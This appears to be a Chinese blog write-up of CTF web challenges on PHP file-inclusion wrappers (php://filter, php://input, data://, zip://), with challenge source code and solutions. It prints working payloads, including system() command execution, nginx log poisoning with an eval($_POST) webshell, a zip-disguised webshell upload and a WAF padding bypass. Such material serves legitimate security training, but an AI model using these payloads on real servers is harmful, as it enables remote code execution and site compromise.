php伪协议有哪些,php伪协议原理
终极管理员 知识笔记 142阅读
常用的伪协议有
php://filter 读取文件源码 协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码 php://input 任意代码执行;这种伪协议用于读取原始的 HTTP POST 数据可以用于处理上传的文件和表单数据。 data://text/plain 任意代码执行 zip:// 配合文件上传开启后门<?phpini_set(allow_url_include,on);header(Content-type: text/html; charsetutf-8);error_reporting(0);$file$_GET[file];if(isset($file)){ show_source(__FILE__); echo flag 在flag.php中;}else{ echo 传入一个file试试;}echo </br>;echo </br>;echo </br>;echo </br>;echo </br>;include_once($file);?> flag 在flag.php中
比如上面这个 ini_set(“allow_url_include”,”on”); 就可以利用

使用文件包含函数包含文件时,文件中的代码会被执行,如果想要读取文件源码,可以使用base64对文件内容进行编码,编码后的文件内容不会被执行,而是展示在页面中,我们将页面中的内容使用base64解码,就可以获取文件的源码了
例题1以这个题为例题目提示在flag.php当中我们使用base64对flag.php文件进行编码,可以看到页面中展示了编码后的文件内容然后对返回结果base就行了

127.0.0.1/?filephp://filter/readconvert.base64-encode/resourceflag.php
例题2 127.0.0.1:28096/?filterphp://filter/convert.base64-encode/resourceflag.php
<?php//WEB手要懂得搜索//flag in ./flag.phpif(isset($_GET[filter])){ $file $_GET[filter]; if(!preg_match(/flag/i, $file)){ die(error); } include($file);}else{ highlight_file(__FILE__);}
根据提示访问flag.php 发现是空白的其实这两题差不多都是一样的了这里的变量是GET ‘filter’ 传参因此就想到了伪协议文件包含构造payload然后返回base在解码就行了
php://inputphp://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当enctypemultipart/form-data时,php:/input将会无效
?urlphp://input — GET请求参数中使用php://input协议<?php system(‘ls’); ?> — post请求体中的内容会被当做文件内容执行 例题1访问是这个 看到了include函数那我们就用文件包含php://input这个伪协议
127.0.0.1/?urlphp://input
记住这里是post传参<?php system(‘ls’); ?>
它返回 ctf_go_go_go index.php
我们构造 cat 访问这个路径就找到了flag了
<?php system(cat ctf_go_go_go); ?>
例题2 页面和上面一样不过进行了过滤返回错误。看数据包的话是nginx,因此使用日志包含
查看日志信息发现服务器是nginx
通过查看请求头可以知道服务器为nginxnginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log其中access.log可以打开。
在日志包含中找到nginx的log有两种
......?url/var/log/nginx/access.log......?url/var/log/nginx/error.log这里?url/var/log/nginx/access.log可以打开
进行日志注入
为了防止url编码需要在burp中修改User-Agent
GET /?url/var/log/nginx/access.log HTTP/1.1Host: 4509ff3b-f6af-4f36-8e9e-3e3a1c9842a6.challenge.ctf.showUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 <?php eval($_POST[ikun]); ?>
写入然后连接就行了ctfshow{9dcfdfb9-02c4-4597-afd8-90074bb20784}
补充这里网上除了日志包含还可以用远程文件包含方法进行内网穿透将端口映射到本地的80端口上打开自己电脑上的服务器将一句话文件写入直接连接。相应的平台可参考 natappngrok蜻蜓映射
大概就是当然如果你有自己的服务器的话也可以在当中编写一句话服务器已启动http协议然后构造如下参数就可以和上面一样愉快的连接拉
data:// 协议格式: data:资源类型;编码,内容
data://协议通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行
?urldata://text/plain,<?php system(id) ?>
实操 <?phperror_reporting(0);if(isset($_GET[cxk])){ $cxk$_GET[cxk]; if(file_get_contents($cxk)ctrl){ echo $flag; }else{ echo 洗洗睡吧; }}else{ echo nononoononoonono;}?> //这里是构造成功的flagNSSCTF{30590d16-19a2-454a-91d2-86c6e02ead2d}
这段 PHP 代码的作用是接收一个名为 “cxk” 的 GET 参数读取该参数指定的文件内容并与字符串 “ctrl” 进行比较。如果相等则输出 $flag 的值否则输出 “洗洗睡吧”。如果没有传递 “cxk” 参数则输出 “nononoononoonono”。
根据代码审计以及file_get_contents读取文件内容函数我们可以知道我们需要传入一个文件里面的内容是”CTRL“(苏珊)那我们就要利用data://伪协议
直接传入‘ctrl’不行可能是过滤了只能用base64加密传入然后就可以了
127.0.0.1:28234/orzorz.php?cxkdata://text/plain;base64,Y3RybA
ZIP://
zip://协议用来读取压缩包中的文件,可以配合文件上传开启后门,获取webshell
将shell.txt压缩成zip,再将后缀名改为jpg上传至服务器,再通过zip伪协议访问压缩包里的文件,从而链接木马
?urlzip://shell.jpg
实操 这一题涉及三种伪协议因此单独列了出来 读取文件源码 打开根据提示”hint is hear Can you find out the hint.php?“让我们找到”hint.php”.首先想到了构造php://filter 读取文件源码那我们就可以用第一个获取flag方式把他换成hint.php不就可以了吗
?urlphp://filter/readconvert.base64-encode/resourcehint.php
返回base解码得到一个提示然后我们访问 test2222222222222.php
接下来有两种解题方案
①和②都可以这里连接的时候要用&a连接别像我刚开始用”/“
①任意代码执行php://input 这里第一种构造用php://input 代码的意思$a是如果读取的内容等于字符串 “I want flag“则输出 “success” 和一个名为 $flag 的变量的值
②任意代码执行data:// data:// 是一种伪协议用于表示将数据内联嵌入到 URL 中。data:// 协议后面跟着标识数据格式的 MIME 类型和编码方式可以将文本、图片、音频等数据编码为 Base64 格式并直接嵌入到 URL 中。
data://本身是数据流封装器其原理和用法跟php://input类似但是是发送GET请求参数 &
url/test2222222222222.php&adata://text/plain,I want flag
[NSSRound#8 Basic]MyDoor 题目描述“一个普通的后门”空白的没东西
127.0.0.1:28380/index.php?filephp://filter/readconvert.base64-encode/resourceindex.php
file伪协议传一下看看在base解码
<?phperror_reporting(0);if (isset($_GET[N_S.S])) { eval($_GET[N_S.S]);} if(!isset($_GET[file])) { header(Location:/index.php?file);} else { $file $_GET[file]; if (!preg_match(/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is, $file)) { include $file; } else { die(error.); }}
发现可以执行命令因为php的特性如果执行给N_S.S传参那么N_S.S在后端会被规范成N_S_S 用N[S.S 传参,访问 phpinfo()
127.0.0.1:28380/?N[S.Sphpinfo();
[鹏城杯 2022]简单包含 打开用POST 构造伪协议上传然后有waf,该怎末绕过呢我看大佬们使用长语句绕过
11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&11&flagphp://filter/readconvert.base64-encode/resourceflag.php
或者用bp都一样,在解码就行了